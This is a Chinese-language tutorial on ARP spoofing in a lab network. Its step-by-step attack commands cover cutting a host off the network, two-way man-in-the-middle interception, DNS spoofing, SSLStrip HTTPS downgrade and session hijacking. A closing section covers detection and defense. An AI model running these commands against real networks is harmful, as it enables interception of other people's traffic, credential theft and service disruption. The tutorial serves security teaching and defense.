ARP攻击流程演示(断网+流量劫持)
·
叠甲声明
本文仅限网络安全与合法授权测试,所有操作均在内网实现完成,严禁非法用途

ARP攻击分为两种:一种是断网攻击,即让目标主机无法上网;另一种是流量劫持(中间人攻击),即让目标主机的流量经过攻击者主机,从而可以窃听或篡改。
我们将使用Kali Linux中的工具进行演示。假设实验环境如下:
攻击者:Kali Linux (IP: 192.168.1.10)
目标主机:Windows 10 (IP: 192.168.1.20)
网关:192.168.1.1
一、实验环境准备
1.1 网络拓扑
[攻击机: Kali Linux] -- [交换机] -- [网关/路由器]
|
[目标机: Windows]
1.2 环境配置
# 在Kali Linux中配置
ifconfig # 查看网卡信息
# 假设网卡为eth0,IP为192.168.1.10
# 目标IP:192.168.1.20
# 网关IP:192.168.1.1
1.3 工具准备
# 安装必要工具
sudo apt update
sudo apt install -y dsniff ettercap-text-only wireshark tcpdump
二、ARP断网攻击流程
通过向目标发送虚假ARP响应,使目标将网关MAC地址错误映射到攻击机或不存在地址,导致网络中断。
步骤1:信息收集
# 查看当前ARP缓存
arp -a
# 扫描局域网存活主机
sudo netdiscover -i eth0 -r 192.168.1.0/24
# 查看网关信息
route -n
步骤2:实施ARP断网攻击
# 方法1:使用arpspoof(单向欺骗)
# 告诉目标:"我是网关"
sudo arpspoof -i eth0 -t 192.168.1.20 192.168.1.1
# 方法2:使用ettercap(更强大)
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.20// /192.168.1.1//
步骤3:验证攻击效果
# 在目标机上测试网络连通性
ping 8.8.8.8 # 应该超时
# 在攻击机上查看ARP表变化
arp -a 192.168.1.20 # 目标机ARP表应被污染
三、ARP流量劫持(中间人攻击)
同时欺骗网关和目标,使双方都认为攻击机是对方,所有流量经过攻击机转发。
完整攻击流程
1:开启IP转发
# 启用Linux内核的IP转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
# 永久设置(可选)
sudo sysctl -w net.ipv4.ip_forward=1
2:双向ARP欺骗
# 方法1:使用arpspoof双向欺骗
# 终端1:欺骗目标,让目标以为攻击机是网关
sudo arpspoof -i eth0 -t 192.168.1.20 192.168.1.1
# 终端2:欺骗网关,让网关以为攻击机是目标
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.20
# 方法2:使用ettercap一键完成
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.20// /192.168.1.1//
3:流量监控与分析
# 使用tcpdump捕获流量
sudo tcpdump -i eth0 host 192.168.1.20 -w captured.pcap
# 实时查看HTTP流量(明文)
sudo tcpdump -i eth0 -A tcp port 80
# 使用Wireshark图形界面分析
sudo wireshark &
4:高级流量劫持演示
4.1 DNS欺骗(将域名指向恶意地址)
# 修改ettercap的dns_spoof插件配置
sudo nano /etc/ettercap/etter.dns
# 添加:*.baidu.com A 192.168.1.10
# 启动ettercap并加载dns_spoof插件
sudo ettercap -T -i eth0 -M arp:remote -P dns_spoof /192.168.1.20// /192.168.1.1//
4.2 SSLStrip攻击(降级HTTPS连接)
# 配置iptables重定向HTTP流量
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# 启动sslstrip
sudo sslstrip -l 8080 -w sslstrip.log
# 然后启动ARP欺骗
4.3 会话劫持演示
# 使用driftnet捕获图片
sudo driftnet -i eth0 -d driftnet_images
# 使用ferret进行会话嗅探
sudo ferret -i eth0
# 使用hamster进行会话劫持
# 需要结合ferret的输出
四、防御与检测演示
1 攻击检测方法
# 在目标机上检测异常ARP
# 方法1:查看ARP表异常
arp -a
# 注意观察网关MAC地址是否变化
# 方法2:使用arpwatch监控
sudo apt install arpwatch
sudo arpwatch -i eth0
# 方法3:编写简单检测脚本
#!/bin/bash
GATEWAY_MAC="00:11:22:33:44:55" # 正确的网关MAC
while true; do
CURRENT_MAC=$(arp -n 192.168.1.1 | awk '{print $3}')
if [ "$CURRENT_MAC" != "$GATEWAY_MAC" ]; then
echo "[!] ARP Spoofing Detected! Gateway MAC changed to $CURRENT_MAC"
# 发送警报或采取防御措施
fi
sleep 5
done
2 防御措施实施
# 1. 静态ARP绑定(Linux)
sudo arp -s 192.168.1.1 00:11:22:33:44:55
# 2. 使用ARP防火墙
sudo apt install arptables
sudo arptables -A INPUT --source-ip 192.168.1.10 -j DROP
# 3. 网络设备防护
# 在交换机上启用端口安全、动态ARP检测(DAI)
五、攻击恢复与清理
1 停止攻击
# 停止ARP欺骗进程
pkill arpspoof
pkill ettercap
# 关闭IP转发
echo 0 > /proc/sys/net/ipv4/ip_forward
# 清除iptables规则
sudo iptables -t nat -F
2 恢复网
# 发送正确的ARP包恢复网络
# 方法1:重启网络服务
sudo systemctl restart networking
# 方法2:手动发送正确ARP
sudo arping -c 3 -U -I eth0 -s 192.168.1.20 192.168.1.1
# 清除ARP缓存
sudo ip neigh flush all
技术知识是双刃剑,请始终用于合法、道德的网络安全防护工作中,共同维护网络空间安全。
更多推荐
所有评论(0)